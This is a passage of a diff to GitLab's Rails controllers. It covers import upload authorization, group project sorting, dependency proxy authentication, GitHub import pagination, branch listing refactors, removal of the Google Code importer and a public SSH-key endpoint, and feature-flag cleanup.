+ ImportExportUploader::EXTENSION_WHITELIST
+ end
+end
diff --git a/app/controllers/concerns/workhorse_import_export_upload.rb b/app/controllers/concerns/workhorse_import_export_upload.rb
deleted file mode 100644
index 3c52f4d7adf..00000000000
--- a/app/controllers/concerns/workhorse_import_export_upload.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-# frozen_string_literal: true
-
-module WorkhorseImportExportUpload
- extend ActiveSupport::Concern
- include WorkhorseRequest
-
- included do
- skip_before_action :verify_authenticity_token, only: %i[authorize]
- before_action :verify_workhorse_api!, only: %i[authorize]
- end
-
- def authorize
- set_workhorse_internal_api_content_type
-
- authorized = ImportExportUploader.workhorse_authorize(
- has_length: false,
- maximum_size: Gitlab::CurrentSettings.max_import_size.megabytes
- )
-
- render json: authorized
- rescue SocketError
- render json: _("Error uploading file"), status: :internal_server_error
- end
-
- private
-
- def file_is_valid?(file)
- return false unless file.is_a?(::UploadedFile)
-
- ImportExportUploader::EXTENSION_WHITELIST
- .include?(File.extname(file.original_filename).delete('.'))
- end
-end
diff --git a/app/controllers/dashboard/projects_controller.rb b/app/controllers/dashboard/projects_controller.rb
index f7a74f40e4b..aa3592ff209 100644
--- a/app/controllers/dashboard/projects_controller.rb
+++ b/app/controllers/dashboard/projects_controller.rb
@@ -108,7 +108,7 @@ class Dashboard::ProjectsController < Dashboard::ApplicationController
end
def default_sort_order
- sort_value_latest_activity
+ sort_value_name
end
def sorting_field
diff --git a/app/controllers/explore/projects_controller.rb b/app/controllers/explore/projects_controller.rb
index 7a485eebfe3..d210d0f66fd 100644
--- a/app/controllers/explore/projects_controller.rb
+++ b/app/controllers/explore/projects_controller.rb
@@ -94,7 +94,7 @@ class Explore::ProjectsController < Explore::ApplicationController
end
def default_sort_order
- sort_value_latest_activity
+ sort_value_name
end
def sorting_field
diff --git a/app/controllers/graphql_controller.rb b/app/controllers/graphql_controller.rb
index b5deed70380..1852405e7cf 100644
--- a/app/controllers/graphql_controller.rb
+++ b/app/controllers/graphql_controller.rb
@@ -37,7 +37,11 @@ class GraphqlController < ApplicationController
rescue_from StandardError do |exception|
log_exception(exception)
- render_error("Internal server error")
+ if Rails.env.test? || Rails.env.development?
+ render_error("Internal server error: #{exception.message}")
+ else
+ render_error("Internal server error")
+ end
end
rescue_from Gitlab::Graphql::Variables::Invalid do |exception|
diff --git a/app/controllers/groups/application_controller.rb b/app/controllers/groups/application_controller.rb
index 9c2e361e92f..a504d2ce991 100644
--- a/app/controllers/groups/application_controller.rb
+++ b/app/controllers/groups/application_controller.rb
@@ -3,11 +3,14 @@
class Groups::ApplicationController < ApplicationController
include RoutableActions
include ControllerWithCrossProjectAccessCheck
+ include SortingHelper
+ include SortingPreference
layout 'group'
skip_before_action :authenticate_user!
before_action :group
+ before_action :set_sorting
requires_cross_project_access
private
@@ -57,6 +60,16 @@ class Groups::ApplicationController < ApplicationController
url_for(safe_params)
end
+
+ def set_sorting
+ if has_project_list?
+ @group_projects_sort = set_sort_order(Project::SORTING_PREFERENCE_FIELD, sort_value_name)
+ end
+ end
+
+ def has_project_list?
+ false
+ end
end
Groups::ApplicationController.prepend_if_ee('EE::Groups::ApplicationController')
diff --git a/app/controllers/groups/boards_controller.rb b/app/controllers/groups/boards_controller.rb
index c2d72610c66..093cdf258b2 100644
--- a/app/controllers/groups/boards_controller.rb
+++ b/app/controllers/groups/boards_controller.rb
@@ -8,7 +8,6 @@ class Groups::BoardsController < Groups::ApplicationController
before_action :assign_endpoint_vars
before_action do
push_frontend_feature_flag(:graphql_board_lists, group, default_enabled: false)
- push_frontend_feature_flag(:boards_with_swimlanes, group, default_enabled: true)
end
feature_category :boards
diff --git a/app/controllers/groups/children_controller.rb b/app/controllers/groups/children_controller.rb
index 718914dea35..10a6ad06ae5 100644
--- a/app/controllers/groups/children_controller.rb
+++ b/app/controllers/groups/children_controller.rb
@@ -2,12 +2,15 @@
module Groups
class ChildrenController < Groups::ApplicationController
+ extend ::Gitlab::Utils::Override
+
before_action :group
skip_cross_project_access_check :index
feature_category :subgroups
def index
+ params[:sort] ||= @group_projects_sort
parent = if params[:parent_id].present?
GroupFinder.new(current_user).execute(id: params[:parent_id])
else
@@ -40,5 +43,12 @@ module Groups
params: params.to_unsafe_h).execute
@children = @children.page(params[:page])
end
+
+ private
+
+ override :has_project_list?
+ def has_project_list?
+ true
+ end
end
end
diff --git a/app/controllers/groups/dependency_proxies_controller.rb b/app/controllers/groups/dependency_proxies_controller.rb
index 367dbafdd59..b896b240daf 100644
--- a/app/controllers/groups/dependency_proxies_controller.rb
+++ b/app/controllers/groups/dependency_proxies_controller.rb
@@ -2,7 +2,7 @@
module Groups
class DependencyProxiesController < Groups::ApplicationController
- include DependencyProxyAccess
+ include DependencyProxy::GroupAccess
before_action :authorize_admin_dependency_proxy!, only: :update
before_action :dependency_proxy
diff --git a/app/controllers/groups/dependency_proxy_auth_controller.rb b/app/controllers/groups/dependency_proxy_auth_controller.rb
new file mode 100644
index 00000000000..e3e9bd88e24
--- /dev/null
+++ b/app/controllers/groups/dependency_proxy_auth_controller.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class Groups::DependencyProxyAuthController < ApplicationController
+ include DependencyProxy::Auth
+
+ feature_category :dependency_proxy
+
+ def authenticate
+ render plain: '', status: :ok
+ end
+end
diff --git a/app/controllers/groups/dependency_proxy_for_containers_controller.rb b/app/controllers/groups/dependency_proxy_for_containers_controller.rb
index f46902ef90f..0f640397320 100644
--- a/app/controllers/groups/dependency_proxy_for_containers_controller.rb
+++ b/app/controllers/groups/dependency_proxy_for_containers_controller.rb
@@ -1,7 +1,8 @@
# frozen_string_literal: true
class Groups::DependencyProxyForContainersController < Groups::ApplicationController
- include DependencyProxyAccess
+ include DependencyProxy::Auth
+ include DependencyProxy::GroupAccess
include SendFileUpload
before_action :ensure_token_granted!
@@ -9,13 +10,13 @@ class Groups::DependencyProxyForContainersController < Groups::ApplicationContro
attr_reader :token
- feature_category :package_registry
+ feature_category :dependency_proxy
def manifest
- result = DependencyProxy::PullManifestService.new(image, tag, token).execute
+ result = DependencyProxy::FindOrCreateManifestService.new(group, image, tag, token).execute
if result[:status] == :success
- render json: result[:manifest]
+ send_upload(result[:manifest].file)
else
render status: result[:http_status], json: result[:message]
end
diff --git a/app/controllers/groups/group_members_controller.rb b/app/controllers/groups/group_members_controller.rb
index 5df7ff0632a..d1b09e1b49e 100644
--- a/app/controllers/groups/group_members_controller.rb
+++ b/app/controllers/groups/group_members_controller.rb
@@ -14,6 +14,10 @@ class Groups::GroupMembersController < Groups::ApplicationController
# Authorize
before_action :authorize_admin_group_member!, except: admin_not_required_endpoints
+ before_action do
+ push_frontend_feature_flag(:group_members_filtered_search, @group, default_enabled: true)
+ end
+
skip_before_action :check_two_factor_requirement, only: :leave
skip_cross_project_access_check :index, :create, :update, :destroy, :request_access,
:approve_access_request, :leave, :resend_invite,
diff --git a/app/controllers/groups/milestones_controller.rb b/app/controllers/groups/milestones_controller.rb
index 03d41f1dd6d..84dc570a1e9 100644
--- a/app/controllers/groups/milestones_controller.rb
+++ b/app/controllers/groups/milestones_controller.rb
@@ -5,9 +5,6 @@ class Groups::MilestonesController < Groups::ApplicationController
before_action :milestone, only: [:edit, :show, :update, :issues, :merge_requests, :participants, :labels, :destroy]
before_action :authorize_admin_milestones!, only: [:edit, :new, :create, :update, :destroy]
- before_action do
- push_frontend_feature_flag(:burnup_charts, @group, default_enabled: true)
- end
feature_category :issue_tracking
diff --git a/app/controllers/groups/settings/integrations_controller.rb b/app/controllers/groups/settings/integrations_controller.rb
index a66372b3571..8903feaff04 100644
--- a/app/controllers/groups/settings/integrations_controller.rb
+++ b/app/controllers/groups/settings/integrations_controller.rb
@@ -25,10 +25,6 @@ module Groups
Service.find_or_initialize_non_project_specific_integration(name, group_id: group.id)
end
- def integrations_enabled?
- Feature.enabled?(:group_level_integrations, group, default_enabled: true)
- end
-
def scoped_edit_integration_path(integration)
edit_group_settings_integration_path(group, integration)
end
diff --git a/app/controllers/groups_controller.rb b/app/controllers/groups_controller.rb
index 8d528e123e1..068815f7f07 100644
--- a/app/controllers/groups_controller.rb
+++ b/app/controllers/groups_controller.rb
@@ -69,7 +69,7 @@ class GroupsController < Groups::ApplicationController
@group = Groups::CreateService.new(current_user, group_params).execute
if @group.persisted?
- track_experiment_event(:onboarding_issues, 'created_namespace')
+ successful_creation_hooks
notice = if @group.chat_team.present?
"Group '#{@group.name}' and its Mattermost team were successfully created."
@@ -319,6 +319,10 @@ class GroupsController < Groups::ApplicationController
private
+ def successful_creation_hooks
+ track_experiment_event(:onboarding_issues, 'created_namespace')
+ end
+
def groups
if @group.supports_events?
@group.self_and_descendants.public_or_visible_to_user(current_user)
@@ -329,6 +333,11 @@ class GroupsController < Groups::ApplicationController
def markdown_service_params
params.merge(group: group)
end
+
+ override :has_project_list?
+ def has_project_list?
+ %w(details show index).include?(action_name)
+ end
end
GroupsController.prepend_if_ee('EE::GroupsController')
diff --git a/app/controllers/import/bulk_imports_controller.rb b/app/controllers/import/bulk_imports_controller.rb
index 78f4a0cffca..4417cfe9098 100644
--- a/app/controllers/import/bulk_imports_controller.rb
+++ b/app/controllers/import/bulk_imports_controller.rb
@@ -20,8 +20,9 @@ class Import::BulkImportsController < ApplicationController
format.json do
render json: { importable_data: serialized_importable_data }
end
-
- format.html
+ format.html do
+ @source_url = session[url_key]
+ end
end
end
@@ -57,7 +58,7 @@ class Import::BulkImportsController < ApplicationController
end
def create_params
- params.permit(:bulk_import, [*bulk_import_params])
+ params.permit(bulk_import: bulk_import_params)[:bulk_import]
end
def bulk_import_params
@@ -84,11 +85,9 @@ class Import::BulkImportsController < ApplicationController
def verify_blocked_uri
Gitlab::UrlBlocker.validate!(
session[url_key],
- **{
- allow_localhost: allow_local_requests?,
- allow_local_network: allow_local_requests?,
- schemes: %w(http https)
- }
+ allow_localhost: allow_local_requests?,
+ allow_local_network: allow_local_requests?,
+ schemes: %w(http https)
)
rescue Gitlab::UrlBlocker::BlockedUrlError => e
clear_session_data
@@ -129,7 +128,7 @@ class Import::BulkImportsController < ApplicationController
def credentials
{
url: session[url_key],
- access_token: [access_token_key]
+ access_token: session[access_token_key]
}
end
end
diff --git a/app/controllers/import/fogbugz_controller.rb b/app/controllers/import/fogbugz_controller.rb
index bcbf5938e11..17f937a3dfd 100644
--- a/app/controllers/import/fogbugz_controller.rb
+++ b/app/controllers/import/fogbugz_controller.rb
@@ -136,11 +136,9 @@ class Import::FogbugzController < Import::BaseController
def verify_blocked_uri
Gitlab::UrlBlocker.validate!(
params[:uri],
- **{
- allow_localhost: allow_local_requests?,
- allow_local_network: allow_local_requests?,
- schemes: %w(http https)
- }
+ allow_localhost: allow_local_requests?,
+ allow_local_network: allow_local_requests?,
+ schemes: %w(http https)
)
rescue Gitlab::UrlBlocker::BlockedUrlError => e
redirect_to new_import_fogbugz_url, alert: _('Specified URL cannot be used: "%{reason}"') % { reason: e.message }
diff --git a/app/controllers/import/gitea_controller.rb b/app/controllers/import/gitea_controller.rb
index 4785a71b8a1..5a4eef352b8 100644
--- a/app/controllers/import/gitea_controller.rb
+++ b/app/controllers/import/gitea_controller.rb
@@ -72,11 +72,9 @@ class Import::GiteaController < Import::GithubController
def verify_blocked_uri
Gitlab::UrlBlocker.validate!(
provider_url,
- {
- allow_localhost: allow_local_requests?,
- allow_local_network: allow_local_requests?,
- schemes: %w(http https)
- }
+ allow_localhost: allow_local_requests?,
+ allow_local_network: allow_local_requests?,
+ schemes: %w(http https)
)
rescue Gitlab::UrlBlocker::BlockedUrlError => e
session[access_token_key] = nil
diff --git a/app/controllers/import/github_controller.rb b/app/controllers/import/github_controller.rb
index 8ac93aeb9c0..beb3e92b5ea 100644
--- a/app/controllers/import/github_controller.rb
+++ b/app/controllers/import/github_controller.rb
@@ -17,6 +17,8 @@ class Import::GithubController < Import::BaseController
rescue_from Octokit::TooManyRequests, with: :provider_rate_limit
rescue_from Gitlab::GithubImport::RateLimitError, with: :rate_limit_threshold_exceeded
+ PAGE_LENGTH = 25
+
def new
if !ci_cd_only? && github_import_configured? && logged_in_with_provider?
go_to_provider_for_permissions
@@ -115,19 +117,16 @@ class Import::GithubController < Import::BaseController
def client_repos
@client_repos ||= if Feature.enabled?(:remove_legacy_github_client)
- concatenated_repos
+ if sanitized_filter_param
+ client.search_repos_by_name(sanitized_filter_param, pagination_options)[:items]
+ else
+ client.octokit.repos(nil, pagination_options)
+ end
else
filtered(client.repos)
end
end
- def concatenated_repos
- return [] unless client.respond_to?(:each_page)
- return client.each_page(:repos).flat_map(&:objects) unless sanitized_filter_param
-
- client.search_repos_by_name(sanitized_filter_param).flat_map(&:objects).flat_map(&:items)
- end
-
def sanitized_filter_param
super
@@ -257,6 +256,13 @@ class Import::GithubController < Import::BaseController
def rate_limit_threshold_exceeded
head :too_many_requests
end
+
+ def pagination_options
+ {
+ page: [1, params[:page].to_i].max,
+ per_page: PAGE_LENGTH
+ }
+ end
end
Import::GithubController.prepend_if_ee('EE::Import::GithubController')
diff --git a/app/controllers/import/gitlab_groups_controller.rb b/app/controllers/import/gitlab_groups_controller.rb
index d8118477a80..f68b76a7b36 100644
--- a/app/controllers/import/gitlab_groups_controller.rb
+++ b/app/controllers/import/gitlab_groups_controller.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
class Import::GitlabGroupsController < ApplicationController
- include WorkhorseImportExportUpload
+ include WorkhorseAuthorization
before_action :ensure_group_import_enabled
before_action :import_rate_limit, only: %i[create]
@@ -64,4 +64,12 @@ class Import::GitlabGroupsController < ApplicationController
redirect_to new_group_path
end
end
+
+ def uploader_class
+ ImportExportUploader
+ end
+
+ def maximum_size
+ Gitlab::CurrentSettings.max_import_size.megabytes
+ end
end
diff --git a/app/controllers/import/gitlab_projects_controller.rb b/app/controllers/import/gitlab_projects_controller.rb
index 39d053347f0..0e6b0af6baf 100644
--- a/app/controllers/import/gitlab_projects_controller.rb
+++ b/app/controllers/import/gitlab_projects_controller.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
class Import::GitlabProjectsController < Import::BaseController
- include WorkhorseImportExportUpload
+ include WorkhorseAuthorization
before_action :whitelist_query_limiting, only: [:create]
before_action :verify_gitlab_project_import_enabled
@@ -45,4 +45,12 @@ class Import::GitlabProjectsController < Import::BaseController
def whitelist_query_limiting
Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42437')
end
+
+ def uploader_class
+ ImportExportUploader
+ end
+
+ def maximum_size
+ Gitlab::CurrentSettings.max_import_size.megabytes
+ end
end
diff --git a/app/controllers/import/google_code_controller.rb b/app/controllers/import/google_code_controller.rb
deleted file mode 100644
index 03bde0345e3..00000000000
--- a/app/controllers/import/google_code_controller.rb
+++ /dev/null
@@ -1,123 +0,0 @@
-# frozen_string_literal: true
-
-class Import::GoogleCodeController < Import::BaseController
- before_action :verify_google_code_import_enabled
- before_action :user_map, only: [:new_user_map, :create_user_map]
-
- def new
- end
-
- def callback
- dump_file = params[:dump_file]
-
- unless dump_file.respond_to?(:read)
- return redirect_back_or_default(options: { alert: _("You need to upload a Google Takeout archive.") })
- end
-
- begin
- dump = Gitlab::Json.parse(dump_file.read)
- rescue
- return redirect_back_or_default(options: { alert: _("The uploaded file is not a valid Google Takeout archive.") })
- end
-
- client = Gitlab::GoogleCodeImport::Client.new(dump)
- unless client.valid?
- return redirect_back_or_default(options: { alert: _("The uploaded file is not a valid Google Takeout archive.") })
- end
-
- session[:google_code_dump] = dump
-
- if params[:create_user_map] == "1"
- redirect_to new_user_map_import_google_code_path
- else
- redirect_to status_import_google_code_path
- end
- end
-
- def new_user_map
- end
-
- def create_user_map
- user_map_json = params[:user_map]
- user_map_json = "{}" if user_map_json.blank?
-
- begin
- user_map = Gitlab::Json.parse(user_map_json)
- rescue
- flash.now[:alert] = _("The entered user map is not a valid JSON user map.")
-
- return render "new_user_map"
- end
-
- unless user_map.is_a?(Hash) && user_map.all? { |k, v| k.is_a?(String) && v.is_a?(String) }
- flash.now[:alert] = _("The entered user map is not a valid JSON user map.")
-
- return render "new_user_map"
- end
-
- # This is the default, so let's not save it into the database.
- user_map.reject! do |key, value|
- value == Gitlab::GoogleCodeImport::Client.mask_email(key)
- end
-
- session[:google_code_user_map] = user_map
-
- flash[:notice] = _("The user map has been saved. Continue by selecting the projects you want to import.")
-
- redirect_to status_import_google_code_path
- end
-
- # rubocop: disable CodeReuse/ActiveRecord
- def status
- unless client.valid?
- return redirect_to new_import_google_code_path
- end
-
- @repos = client.repos
- @incompatible_repos = client.incompatible_repos
-
- @already_added_projects = find_already_added_projects('google_code')
- already_added_projects_names = @already_added_projects.pluck(:import_source)
-
- @repos.reject! { |repo| already_added_projects_names.include? repo.name }
- end
- # rubocop: enable CodeReuse/ActiveRecord
-
- def jobs
- render json: find_jobs('google_code')
- end
-
- def create
- repo = client.repo(params[:repo_id])
- user_map = session[:google_code_user_map]
-
- project = Gitlab::GoogleCodeImport::ProjectCreator.new(repo, current_user.namespace, current_user, user_map).execute
-
- if project.persisted?
- render json: ProjectSerializer.new.represent(project)
- else
- render json: { errors: project_save_error(project) }, status: :unprocessable_entity
- end
- end
-
- private
-
- def client
- @client ||= Gitlab::GoogleCodeImport::Client.new(session[:google_code_dump])
- end
-
- def verify_google_code_import_enabled
- render_404 unless google_code_import_enabled?
- end
-
- def user_map
- @user_map ||= begin
- user_map = client.user_map
-
- stored_user_map = session[:google_code_user_map]
- user_map.update(stored_user_map) if stored_user_map
-
- Hash[user_map.sort]
- end
- end
-end
diff --git a/app/controllers/invites_controller.rb b/app/controllers/invites_controller.rb
index 26fc1c11f6d..ad92645c23e 100644
--- a/app/controllers/invites_controller.rb
+++ b/app/controllers/invites_controller.rb
@@ -20,7 +20,6 @@ class InvitesController < ApplicationController
def accept
if member.accept_invite!(current_user)
- track_invitation_reminders_experiment('accepted')
redirect_to invite_details[:path], notice: _("You have been granted %{member_human_access} access to %{title} %{name}.") %
{ member_human_access: member.human_access, title: invite_details[:title], name: invite_details[:name] }
else
@@ -107,17 +106,4 @@ class InvitesController < ApplicationController
}
end
end
-
- def track_invitation_reminders_experiment(action)
- return unless Gitlab::Experimentation.enabled?(:invitation_reminders)
-
- property = Gitlab::Experimentation.enabled_for_attribute?(:invitation_reminders, member.invite_email) ? 'experimental_group' : 'control_group'
-
- Gitlab::Tracking.event(
- Gitlab::Experimentation.experiment(:invitation_reminders).tracking_category,
- action,
- property: property,
- label: Digest::MD5.hexdigest(member.to_global_id.to_s)
- )
- end
end
diff --git a/app/controllers/jira_connect/app_descriptor_controller.rb b/app/controllers/jira_connect/app_descriptor_controller.rb
index bf53c61601b..d1ba8a98c64 100644
--- a/app/controllers/jira_connect/app_descriptor_controller.rb
+++ b/app/controllers/jira_connect/app_descriptor_controller.rb
@@ -27,29 +27,9 @@ class JiraConnect::AppDescriptorController < JiraConnect::ApplicationController
authentication: {
type: 'jwt'
},
+ modules: modules,
scopes: %w(READ WRITE DELETE),
apiVersion: 1,
- modules: {
- jiraDevelopmentTool: {
- key: 'gitlab-development-tool',
- application: {
- value: 'GitLab'
- },
- name: {
- value: 'GitLab'
- },
- url: 'https://gitlab.com',
- logoUrl: view_context.image_url('gitlab_logo.png'),
- capabilities: %w(branch commit pull_request)
- },
- postInstallPage: {
- key: 'gitlab-configuration',
- name: {
- value: 'GitLab Configuration'
- },
- url: relative_to_base_path(jira_connect_subscriptions_path)
- }
- },
apiMigrations: {
gdpr: true
}
@@ -58,6 +38,55 @@ class JiraConnect::AppDescriptorController < JiraConnect::ApplicationController
private
+ HOME_URL = 'https://gitlab.com'
+ DOC_URL = 'https://docs.gitlab.com/ee/user/project/integrations/jira.html#gitlab-jira-integration'
+
+ def modules
+ modules = {
+ jiraDevelopmentTool: {
+ key: 'gitlab-development-tool',
+ application: {
+ value: 'GitLab'
+ },
+ name: {
+ value: 'GitLab'
+ },
+ url: HOME_URL,
+ logoUrl: logo_url,
+ capabilities: %w(branch commit pull_request)
+ },
+ postInstallPage: {
+ key: 'gitlab-configuration',
+ name: {
+ value: 'GitLab Configuration'
+ },
+ url: relative_to_base_path(jira_connect_subscriptions_path)
+ }
+ }
+
+ modules.merge!(build_information_module)
+
+ modules
+ end
+
+ def logo_url
+ view_context.image_url('gitlab_logo.png')
+ end
+
+ # See: https://developer.atlassian.com/cloud/jira/software/modules/build/
+ def build_information_module
+ {
+ jiraBuildInfoProvider: {
+ homeUrl: HOME_URL,
+ logoUrl: logo_url,
+ documentationUrl: DOC_URL,
+ actions: {},
+ name: { value: "GitLab CI" },
+ key: "gitlab-ci"
+ }
+ }
+ end
+
def relative_to_base_path(full_path)
full_path.sub(/^#{jira_connect_base_path}/, '')
end
diff --git a/app/controllers/jwt_controller.rb b/app/controllers/jwt_controller.rb
index 5199bb25c8c..85ee2204324 100644
--- a/app/controllers/jwt_controller.rb
+++ b/app/controllers/jwt_controller.rb
@@ -11,7 +11,8 @@ class JwtController < ApplicationController
feature_category :authentication_and_authorization
SERVICES = {
- Auth::ContainerRegistryAuthenticationService::AUDIENCE => Auth::ContainerRegistryAuthenticationService
+ ::Auth::ContainerRegistryAuthenticationService::AUDIENCE => ::Auth::ContainerRegistryAuthenticationService,
+ ::Auth::DependencyProxyAuthenticationService::AUDIENCE => ::Auth::DependencyProxyAuthenticationService
}.freeze
def auth
diff --git a/app/controllers/profiles/keys_controller.rb b/app/controllers/profiles/keys_controller.rb
index 1e6340f285e..3a189c900ac 100644
--- a/app/controllers/profiles/keys_controller.rb
+++ b/app/controllers/profiles/keys_controller.rb
@@ -1,8 +1,6 @@
# frozen_string_literal: true
class Profiles::KeysController < Profiles::ApplicationController
- skip_before_action :authenticate_user!, only: [:get_keys]
-
feature_category :users
def index
@@ -35,25 +33,6 @@ class Profiles::KeysController < Profiles::ApplicationController
end
end
- # Get all keys of a user(params[:username]) in a text format
- # Helpful for sysadmins to put in respective servers
- def get_keys
- if params[:username].present?
- begin
- user = UserFinder.new(params[:username]).find_by_username
- if user.present?
- render plain: user.all_ssh_keys.join("\n")
- else
- render_404
- end
- rescue => e
- render html: e.message
- end
- else
- render_404
- end
- end
-
private
def key_params
diff --git a/app/controllers/projects/alert_management_controller.rb b/app/controllers/projects/alert_management_controller.rb
index 8ecf8fadefd..ebe867d915d 100644
--- a/app/controllers/projects/alert_management_controller.rb
+++ b/app/controllers/projects/alert_management_controller.rb
@@ -3,7 +3,7 @@
class Projects::AlertManagementController < Projects::ApplicationController
before_action :authorize_read_alert_management_alert!
- feature_category :alert_management
+ feature_category :incident_management
def index
end
diff --git a/app/controllers/projects/alerting/notifications_controller.rb b/app/controllers/projects/alerting/notifications_controller.rb
index a3f4d784f25..db5d91308db 100644
--- a/app/controllers/projects/alerting/notifications_controller.rb
+++ b/app/controllers/projects/alerting/notifications_controller.rb
@@ -10,7 +10,7 @@ module Projects
prepend_before_action :repository, :project_without_auth
- feature_category :alert_management
+ feature_category :incident_management
def create
token = extract_alert_manager_token(request)
@@ -31,7 +31,7 @@ module Projects
end
def notify_service
- notify_service_class.new(project, current_user, notification_payload)
+ notify_service_class.new(project, notification_payload)
end
def notify_service_class
diff --git a/app/controllers/projects/blob_controller.rb b/app/controllers/projects/blob_controller.rb
index 02e941db636..8f16650a6f2 100644
--- a/app/controllers/projects/blob_controller.rb
+++ b/app/controllers/projects/blob_controller.rb
@@ -32,11 +32,6 @@ class Projects::BlobController < Projects::ApplicationController
before_action :validate_diff_params, only: :diff
before_action :set_last_commit_sha, only: [:edit, :update]
- before_action only: :show do
- push_frontend_feature_flag(:suggest_pipeline, default_enabled: true)
- push_frontend_feature_flag(:gitlab_ci_yml_preview, @project, default_enabled: false)
- end
-
track_redis_hll_event :create, :update, name: 'g_edit_by_sfe', feature: :track_editor_edit_actions, feature_default_enabled: true
feature_category :source_code_management
diff --git a/app/controllers/projects/boards_controller.rb b/app/controllers/projects/boards_controller.rb
index fe4502a0e06..51c9bf3699a 100644
--- a/app/controllers/projects/boards_controller.rb
+++ b/app/controllers/projects/boards_controller.rb
@@ -8,7 +8,7 @@ class Projects::BoardsController < Projects::ApplicationController
before_action :authorize_read_board!, only: [:index, :show]
before_action :assign_endpoint_vars
before_action do
- push_frontend_feature_flag(:boards_with_swimlanes, project, default_enabled: true)
+ push_frontend_feature_flag(:add_issues_button)
end
feature_category :boards
diff --git a/app/controllers/projects/branches_controller.rb b/app/controllers/projects/branches_controller.rb
index cf1efda5d13..a753d5705aa 100644
--- a/app/controllers/projects/branches_controller.rb
+++ b/app/controllers/projects/branches_controller.rb
@@ -18,8 +18,8 @@ class Projects::BranchesController < Projects::ApplicationController
def index
respond_to do |format|
format.html do
- @sort = params[:sort].presence || sort_value_recently_updated
@mode = params[:state].presence || 'overview'
+ @sort = sort_value_for_mode
@overview_max_branches = 5
# Fetch branches for the specified mode
@@ -42,10 +42,6 @@ class Projects::BranchesController < Projects::ApplicationController
end
end
- def recent
- @branches = @repository.recent_branches
- end
-
def diverging_commit_counts
respond_to do |format|
format.json do
@@ -129,6 +125,12 @@ class Projects::BranchesController < Projects::ApplicationController
private
+ def sort_value_for_mode
+ return params[:sort] if params[:sort].present?
+
+ 'stale' == @mode ? sort_value_oldest_updated : sort_value_recently_updated
+ end
+
# It can be expensive to calculate the diverging counts for each
# branch. Normally the frontend should be specifying a set of branch
# names, but prior to
@@ -173,19 +175,32 @@ class Projects::BranchesController < Projects::ApplicationController
end
def fetch_branches_by_mode
- if @mode == 'overview'
- # overview mode
- @active_branches, @stale_branches = BranchesFinder.new(@repository, sort: sort_value_recently_updated).execute.partition(&:active?)
- # Here we get one more branch to indicate if there are more data we're not showing
- @active_branches = @active_branches.first(@overview_max_branches + 1)
- @stale_branches = @stale_branches.first(@overview_max_branches + 1)
- @branches = @active_branches + @stale_branches
+ return fetch_branches_for_overview if @mode == 'overview'
+
+ # active/stale/all view mode
+ @branches = BranchesFinder.new(@repository, params.merge(sort: @sort)).execute
+ @branches = @branches.select { |b| b.state.to_s == @mode } if %w[active stale].include?(@mode)
+ @branches = Kaminari.paginate_array(@branches).page(params[:page])
+ end
+
+ def fetch_branches_for_overview
+ # Here we get one more branch to indicate if there are more data we're not showing
+ limit = @overview_max_branches + 1
+
+ if Feature.enabled?(:branch_list_keyset_pagination, project, default_enabled: true)
+ @active_branches =
+ BranchesFinder.new(@repository, { per_page: limit, sort: sort_value_recently_updated })
+ .execute(gitaly_pagination: true).select(&:active?)
+ @stale_branches =
+ BranchesFinder.new(@repository, { per_page: limit, sort: sort_value_oldest_updated })
+ .execute(gitaly_pagination: true).select(&:stale?)
else
- # active/stale/all view mode
- @branches = BranchesFinder.new(@repository, params.merge(sort: @sort)).execute
- @branches = @branches.select { |b| b.state.to_s == @mode } if %w[active stale].include?(@mode)
- @branches = Kaminari.paginate_array(@branches).page(params[:page])
+ @active_branches, @stale_branches = BranchesFinder.new(@repository, sort: sort_value_recently_updated).execute.partition(&:active?)
+ @active_branches = @active_branches.first(limit)
+ @stale_branches = @stale_branches.first(limit)
end
+
+ @branches = @active_branches + @stale_branches
end
def confidential_issue_project
diff --git a/app/controllers/projects/ci/pipeline_editor_controller.rb b/app/controllers/projects/ci/pipeline_editor_controller.rb
index c2428270fa6..cc391868df0 100644
--- a/app/controllers/projects/ci/pipeline_editor_controller.rb
+++ b/app/controllers/projects/ci/pipeline_editor_controller.rb
@@ -2,6 +2,9 @@
class Projects::Ci::PipelineEditorController < Projects::ApplicationController
before_action :check_can_collaborate!
+ before_action do
+ push_frontend_feature_flag(:ci_config_visualization_tab, @project, default_enabled: false)
+ end
feature_category :pipeline_authoring
diff --git a/app/controllers/projects/cycle_analytics_controller.rb b/app/controllers/projects/cycle_analytics_controller.rb
index 1ddc9d567e0..ab1cf63c885 100644
--- a/app/controllers/projects/cycle_analytics_controller.rb
+++ b/app/controllers/projects/cycle_analytics_controller.rb
@@ -17,8 +17,6 @@ class Projects::CycleAnalyticsController < Projects::ApplicationController
def show
@cycle_analytics = ::CycleAnalytics::ProjectLevel.new(@project, options: options(cycle_analytics_project_params))
- @cycle_analytics_no_data = @cycle_analytics.no_stats?
-
respond_to do |format|
format.html do
Gitlab::UsageDataCounters::CycleAnalyticsCounter.count(:views)
diff --git a/app/controllers/projects/feature_flags_controller.rb b/app/controllers/projects/feature_flags_controller.rb
index 9142f769b28..da9dcd1c09c 100644
--- a/app/controllers/projects/feature_flags_controller.rb
+++ b/app/controllers/projects/feature_flags_controller.rb
@@ -14,7 +14,6 @@ class Projects::FeatureFlagsController < Projects::ApplicationController
before_action do
push_frontend_feature_flag(:feature_flag_permissions)
- push_frontend_feature_flag(:feature_flags_new_version, project, default_enabled: true)
push_frontend_feature_flag(:feature_flags_legacy_read_only, project, default_enabled: true)
push_frontend_feature_flag(:feature_flags_legacy_read_only_override, project)
end
@@ -101,15 +100,7 @@ class Projects::FeatureFlagsController < Projects::ApplicationController
protected
def feature_flag
- @feature_flag ||= @noteable = if new_version_feature_flags_enabled?
- project.operations_feature_flags.find_by_iid!(params[:iid])
- else
- project.operations_feature_flags.legacy_flag.find_by_iid!(params[:iid])
- end
- end
-
- def new_version_feature_flags_enabled?
- ::Feature.enabled?(:feature_flags_new_version, project, default_enabled: true)
+ @feature_flag ||= @noteable = project.operations_feature_flags.find_by_iid!(params[:iid])
end
def ensure_legacy_flags_writable!
diff --git a/app/controllers/projects/issues_controller.rb b/app/controllers/projects/issues_controller.rb
index 3a1b4f380a2..3a0e40f9745 100644
--- a/app/controllers/projects/issues_controller.rb
+++ b/app/controllers/projects/issues_controller.rb
@@ -44,14 +44,14 @@ class Projects::IssuesController < Projects::ApplicationController
